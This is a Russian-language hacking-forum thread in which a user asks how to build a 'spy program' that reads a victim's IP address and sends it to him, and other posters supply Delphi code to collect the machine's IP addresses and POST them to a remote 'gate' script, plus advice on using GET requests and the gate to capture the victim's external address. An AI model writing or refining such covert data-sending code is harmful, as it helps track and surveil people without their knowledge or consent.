Форум АНТИЧАТ - Программа шпион

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)

- - Программа шпион (https://forum.antichat.xyz/showthread.php?t=198304)

Программа шпион

Народ 3 дня гуглил не нашел,как сделать чтобы прога читала ип жертвы и сливала мне на почту

что тут писать ? Узнаеш IP и через smtp .
на C# пишется за 5 мин.

узнаем ip, думаю с отправкой на мыло труда не составит.
WinSock:

Код:

procedure TForm1.Button1Click(Sender: TObject);

type

 InAddr = Array[0..10] of PInAddr;

 TInAddr = ^InAddr;

var

 Host: PHostEnt;

 pPtr: TInAddr;

 Buffer: Array[0..63] of char;

 i: Integer;

 Socket: TWSAData;

begin

  ListBox1.Clear;

  WSAStartup( $101, Socket );

  GetHostName( Buffer, SizeOf( Buffer ) );

  Host := GetHostByName( buffer );

  if Host = nil then Exit;

  pPtr := TInAddr( Host^.h_addr_list );

  i := 0;

  while pPtr^[i] <> nil do

  begin

     ListBox1.Items.Add( inet_ntoa( pPtr^[i]^ ) );

     Inc( i );

  end;

  WSACleanup;

end;

для меня это жуть,а через ид хттп мож реализовать +

уж не так то это и сложно))

Код:



uses idHTTP;



........



Function LocalIP : string;

type

  TaPInAddr = array [0..10] of PInAddr;

  PaPInAddr = ^TaPInAddr;

var

  phe  : PHostEnt;

  pptr : PaPInAddr;

  Buffer : array [0..63] of char;

  I    : Integer;

  GInitData      : TWSADATA;



Begin

  WSAStartup($101, GInitData);

  Result := '';

  GetHostName(Buffer, SizeOf(Buffer));

  phe :=GetHostByName(buffer);

  if phe = nil then Exit;

  pptr := PaPInAddr(Phe^.h_addr_list);

//    Phe^.h_addr_list - должен содержать IPдля всех интерфейсов.

  I := 0;

  while pptr^[I] <> nil do begin

// приводим их по очерёдности к нормальному виду

    Result := Result + StrPas(inet_ntoa(pptr^[I]^)) + '#10#13' ;

    Inc(I);

  end;

  WSACleanup;

End;





// процедура для отсылки Ip на гейт



procedure SendIp;

var

  HTTP : TidHTTP;

  Str : TStringList;

begin

  HTTP := TidHTTP.Create(nil);

  Str := TStringList.Create;



  Str.Add('ip=' + LocalIp);

  HTTP.Post('http://somesite.ru/gate.php', str);



  Str.free;

  HTTP.Free;

end;

end;

2 RedFern.89 ты чтоли помешан на инди? Нахрена ты его используешь там где нужно и там где не нужно? Зачем отсылать POST запрос. Тут данных не очень много. Пойдет и GET запрос.
В данной сетуации нужно просто тупо вызвать URLDownloadToCacheFile из urlmon которая запросит страницу и результат кинет в кеш. Один хер результаты не нужны

да и не факт что у жертвы есть внешний айпи.. вдруг у чела роутер/модем? тогда к тебе на почту придет только айпишник локальный.. 192.168.*.*

2 [stranger] ну по этому и юзаются гейты и потому подобные прелести.
Потому что ты отошлешь все IP которые были определены на компе, а гейт еще и сохранит IP с которого пришли данные. И таким образом можно сравнить есть ли внешний IP или нет.

естественно, я просто подчеркнул недостаточность определения айпи локально.. :)

Так,какой вариант вы советуете гет или пост